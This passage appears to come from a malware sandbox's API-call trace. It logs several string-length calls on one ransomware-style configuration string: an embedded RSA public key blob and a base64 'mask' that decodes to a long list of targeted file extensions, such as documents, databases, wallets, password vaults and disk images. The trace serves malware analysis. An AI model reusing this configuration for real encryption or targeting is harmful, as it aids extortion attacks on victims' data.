(lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.471] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.471] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.471] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBi